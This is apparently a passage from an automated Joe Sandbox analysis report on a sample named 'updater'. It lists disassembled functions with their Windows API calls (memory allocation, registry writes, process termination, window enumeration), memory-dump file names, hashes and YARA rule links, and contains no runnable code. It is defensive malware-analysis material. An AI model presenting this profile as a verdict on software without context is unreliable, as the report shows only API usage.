TerminateProcess.KERNEL32(00000000,00000000,0126A2C5,00000000,0126A2E0,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 01269F6D

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b11399cddf9350ece28e91c1209740a3cf97649afd2b7b8c8d81269606c38880
Instruction ID: 53d5684d981f05a9998c52f9579c73edd129f70c1385dd4ec2ec7987c1893018
Opcode Fuzzy Hash: b11399cddf9350ece28e91c1209740a3cf97649afd2b7b8c8d81269606c38880
Instruction Fuzzy Hash: 8190024457834210DAD4B2B008C5F2950183B70BD2FC0744059049508448F940010021

Function 0124E405 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,0124E798), ref: 0124E434
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,0124E798), ref: 0124E45B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 455c657f29fd73098002fae51b3494fa159ed28249469a277a6479a92a3b4b8b
Instruction ID: 8200dc3b0326351b00a0e84b885238880a2744acb66e963c1cd3ce9461dc072a
Opcode Fuzzy Hash: 455c657f29fd73098002fae51b3494fa159ed28249469a277a6479a92a3b4b8b
Instruction Fuzzy Hash: 1CF0E2B2A206326BFB25A9680C84B625A84FF45E90F064070FA0CEF2C9C2A94C0142A1

Function 00BBA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b88c5c8f4a664133b139d1b9b3cdd605e0169b91367876c5f7cfd929ac30985
Instruction ID: fab32503c278ce602a7839092c6c39411bafe214d9ca7af8729df16490b308af
Opcode Fuzzy Hash: 2b88c5c8f4a664133b139d1b9b3cdd605e0169b91367876c5f7cfd929ac30985
Instruction Fuzzy Hash: 7A61EF74A00206DFDB10DF54C881BBAB7E5FF04300F1180ADE9568B292E7B4ED84DB52

Function 00BBD679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ead13867f4bce3ebb65d474f561188adb8371368a3284bdd09756ce591bbf507
Instruction ID: 59d954d5faa0cb3c951485e2f77951212c37e88fed705e6350f2a09b1353ec45
Opcode Fuzzy Hash: ead13867f4bce3ebb65d474f561188adb8371368a3284bdd09756ce591bbf507
Instruction Fuzzy Hash: 08517E35600604ABCB24EB68C991FBE77E6AF45710F1481E8F906AB392DF30ED05CB50

Function 00BC410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00BC41B2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7200af5065b0aef436e9c62acf1775a1ad8448f795127a282b1df8b538da3d40
Instruction ID: 924128addda2514cbfaf0528ad81b19670df40df57a6c90f4c8260855be528f4
Opcode Fuzzy Hash: 7200af5065b0aef436e9c62acf1775a1ad8448f795127a282b1df8b538da3d40
Instruction Fuzzy Hash: 09315C71A00616AFCB18DF2DC890B6DBBF1FF54310F188669E859A3710D770BAA4CB90

Function 00BD0E38 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 00BD0EE7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 660625731f555a631dfb437d8e5c69c72da03ce4ac9a97d922b94b8ca26d7d13
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 5F31A271A101099BD718EF59C480A69FBE6FB99300F648AE6E409CB755E731EDC1CB80

Function 00BEE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00BEE2EA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 1181e85c109e3b0aaa7df4b7df8fc6ed1ffb03300d65eb40250acbbeb0984ec8
Instruction ID: 679ea1ae3059a661c5121233844ed054d402b0cbbed33da53c3234f2ff09856c
Opcode Fuzzy Hash: 1181e85c109e3b0aaa7df4b7df8fc6ed1ffb03300d65eb40250acbbeb0984ec8
Instruction Fuzzy Hash: AD4106745083419FDB24DF18C484B6ABBE1FF45318F1988ACE8999B362C376EC85CB52

Function 00BC49C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC4B29: FreeLibrary.KERNEL32(00000000,?), ref: 00BC4B63

Part of subcall function 00BD547B: __wfsopen.LIBCMT ref: 00BD5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00BC27AF,?,00000001), ref: 00BC49F4

Part of subcall function 00BC4ADE: FreeLibrary.KERNEL32(00000000), ref: 00BC4B18

Part of subcall function 00BC48B0: _memmove.LIBCMT ref: 00BC48FA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 5889156ff6f02f9d1eaadad9c0a2e5391fd23f233084d5fafa2060b36c165fa2
Instruction ID: 2db06eded2e92a4b086b27e1839f93c77c13dffc2f2267dfece5b6d95a9159c8
Opcode Fuzzy Hash: 5889156ff6f02f9d1eaadad9c0a2e5391fd23f233084d5fafa2060b36c165fa2
Instruction Fuzzy Hash: 8211C431690205ABCB20EB608C26FAE77E9DF44702F20846DF545A61C1EB709B11AB94

Function 00BEE3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00BEE3CE

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a03239888f1c8453d86cfbb41dce9afe1c97b4c51b26865d9f8bfde743ed5331
Instruction ID: 4607951cf9f4e35f85549e0502d363adfb426c574b80c3e0f6133eb2b367c7f2
Opcode Fuzzy Hash: a03239888f1c8453d86cfbb41dce9afe1c97b4c51b26865d9f8bfde743ed5331
Instruction Fuzzy Hash: 662110B4508341DFDB24DF14C484B6ABBE0BF84304F0989ACF98A57322D375E849CB92

Function 01263A6D Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 01263AE6

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 81cb04e7a9530e44c47776e516831101c6bec5c48d5063a3e6299086199db335
Instruction ID: 744052310de9dd9ace50e0351fccb666ad9383ac07a0ab233733ab99ae4e02fd
Opcode Fuzzy Hash: 81cb04e7a9530e44c47776e516831101c6bec5c48d5063a3e6299086199db335
Instruction Fuzzy Hash: 7411BCB4E1434AAFCB44DF99C8818AEBBB9FB48710B508469ED18E7340D734AE51DB90

Function 00BC4220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00BC3CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00BC4276

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: cf6974fa1992a056aaa4f33119a098bb7e49604d23d221e581706e0f2c495eac
Instruction ID: 4710de991a1e533618b6f1f718dea1b838a8de10c2d8b4022e444cb8c79c2972
Opcode Fuzzy Hash: cf6974fa1992a056aaa4f33119a098bb7e49604d23d221e581706e0f2c495eac
Instruction Fuzzy Hash: 2E1128312107019FD730CF55C491F66B7E9EF88710F14896DE9AA8AA50D770EA45CB60

Function 01268E53 Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 01268E86

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f94b78db6c83725831c0de883f1ce0c89d3bc37118b2cd7c4d9d75750ea74336
Instruction ID: 64a40a9da0cc8b1ba40232aa3f982a4fce68568e0e6956648666af4ba9278a2a
Opcode Fuzzy Hash: f94b78db6c83725831c0de883f1ce0c89d3bc37118b2cd7c4d9d75750ea74336
Instruction Fuzzy Hash: F7F03175B04209BBD750DAAD9C84FBABBEC9F58250F048165FE18DB390D6719D0087A0

Function 01268E55 Relevance: 1.5, APIs: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 01268E86

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3f92a1724c516c50be75edd92b656fa0f6df3ddd2c7f673279dafbd5abcfe67b
Instruction ID: 426436512a3f02086ac0f562fd4ea2d6833138d34008f9785ed59977f77cd3cf
Opcode Fuzzy Hash: 3f92a1724c516c50be75edd92b656fa0f6df3ddd2c7f673279dafbd5abcfe67b
Instruction Fuzzy Hash: CEF04F75A04209BBD750EAAEDCC4FAFBBEC9F58250F048165FE18DB390D6719D008BA0

Function 00C17C7F Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

_memset.LIBCMT ref: 00C17CB4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Exception@8Throw_memsetstd::exception::exception
String ID:
API String ID: 525207782-0
Opcode ID: 31a71c8389610955d36b403cba3d32c1291e5a9eb951b23776e0cff10cec261c
Instruction ID: 4b3fdef23748fdd34cccfe75c9cbd4666e9bb85374d511443c1925ba67a02024
Opcode Fuzzy Hash: 31a71c8389610955d36b403cba3d32c1291e5a9eb951b23776e0cff10cec261c
Instruction Fuzzy Hash: 1F01E4742042009FD321EF5CD541F46BBE1AF69310F24849AF5888B392EB72A8409B91

Function 00BEDC5A Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

_memmove.LIBCMT ref: 00BEDC8B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Exception@8Throw_memmovestd::exception::exception
String ID:
API String ID: 1602317333-0
Opcode ID: 18cb4b1cd493cf7211d6da5a866951763f4ccdbc52a46301f8602edeb8946697
Instruction ID: 9f40fad19eb0bc1240e2551abda0c88ddf6332cce9b02584247f1e357b6cfe5d
Opcode Fuzzy Hash: 18cb4b1cd493cf7211d6da5a866951763f4ccdbc52a46301f8602edeb8946697
Instruction Fuzzy Hash: 45F0E7746041019FD714EF68C981E15BBE1FF1A340F24849DE1898B3A2E772E811CB91

Function 01252BE9 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,00010000,?,00001000), ref: 01252C1B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 98cb9e290b6fcda0473899373f779afeb580b28c0de553bc535e0dfee71ead7e
Instruction ID: 387107be0577d89f5e865c8024d72d069a992d17c4366d076a68191ed51edf0e
Opcode Fuzzy Hash: 98cb9e290b6fcda0473899373f779afeb580b28c0de553bc535e0dfee71ead7e
Instruction Fuzzy Hash: EEF0A071321501DFCB91DA9CCDC1F6673DCAB2C341B048061BA48CB38ADB70DC8583A6

Function 00BC4A8C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 00BC4AA4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction ID: 680f3ff997ce8463e2295426287749669cb29a36dc2c1c9e5eb02081c7ebb6c5
Opcode Fuzzy Hash: d626904f6cb88cfd62378aba53a4cab051f17c1c31bafaeec442f62cde18398f
Instruction Fuzzy Hash: 92F085B6500208BFDF108F84DC00DEBBBB9EB89720F10419CF9045A210D232EA21CBA0

Function 00BC4A2F Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00BC27AF,?,00000001), ref: 00BC4A63

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4cf1cb9ae5ac6926ca2ca5617f7d3a831d3dbd036ab5623e122dc8d59901be1a
Instruction ID: c2b9340a45cec71898e68da6132647861d551936e3a80f64eed867189635648e
Opcode Fuzzy Hash: 4cf1cb9ae5ac6926ca2ca5617f7d3a831d3dbd036ab5623e122dc8d59901be1a
Instruction Fuzzy Hash: 2EF0F275145B01CFCB349F64E4A0A2ABBF0EB14329320A9AEF5A682610C7319A84DF44

Function 00BC4AB2 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00BC4AD0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction ID: 5edee0154e9d0adecb1800104e3c66692a112a27c3ade4c091859bca71b4dc4d
Opcode Fuzzy Hash: 1a81c16e28573863898c67bef1386d759a1651ff521f05548b9e3597368886a1
Instruction Fuzzy Hash: E9F0F87240020DFFDF05CF94C941EAABBB9FB14314F218589F9198A252D336DB21EBA1

Function 00BF0A79 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00BF0A84

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: c36b6fa1b4025dc65d616c034aca338a8af3630aa77aa3a209db6df2e27683b8
Instruction ID: fe56e0fc038b53e2913b14797a8a40f74ccaa3c315c78b4132b5779dd863c611
Opcode Fuzzy Hash: c36b6fa1b4025dc65d616c034aca338a8af3630aa77aa3a209db6df2e27683b8
Instruction Fuzzy Hash: 23E0ABB17183095FE730AB68D440776FBC8EF00310F1044DAC58582352E7B1D89897A1

Function 01252089 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00BB0000,?,00000105), ref: 012520A7

Part of subcall function 0125231D: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 01252338
Part of subcall function 0125231D: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 01252356
Part of subcall function 0125231D: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 01252374
Part of subcall function 0125231D: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 01252392
Part of subcall function 0125231D: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,01252421,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 012523DB
Part of subcall function 0125231D: RegQueryValueExA.ADVAPI32(?,0125259D,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,01252421,?,80000001), ref: 012523F9
Part of subcall function 0125231D: RegCloseKey.ADVAPI32(?,01252428,00000000,00000000,00000005,00000000,01252421,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0125241B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 4f6f7f1076de1bd117e32dae873e78de734a710e1bc72a608b831ebaeac8ce49
Instruction ID: 34e5a16526c3bc8694b330ab11328a034374ab5f566804b448af23d7695f74b1
Opcode Fuzzy Hash: 4f6f7f1076de1bd117e32dae873e78de734a710e1bc72a608b831ebaeac8ce49
Instruction Fuzzy Hash: 4FE06DB1A11215DBCB94DE5C88C0A5673D8BB08754F000951EEA8DF286D371D9148BE0

Function 00BD09C5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00BD09E4

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: a48b57471a876105d282413007b5d85ecf96428afa29f921c186c44136ad10d7
Instruction ID: 730a694c6b91b785c634ab94412bbe7a94c7c77e7df54ae804930eb097028360
Opcode Fuzzy Hash: a48b57471a876105d282413007b5d85ecf96428afa29f921c186c44136ad10d7
Instruction Fuzzy Hash: 0EE0863690412857C72196AC9C05FEE77DDEB8A691F1402F6FD08D7214D9709C8186D1

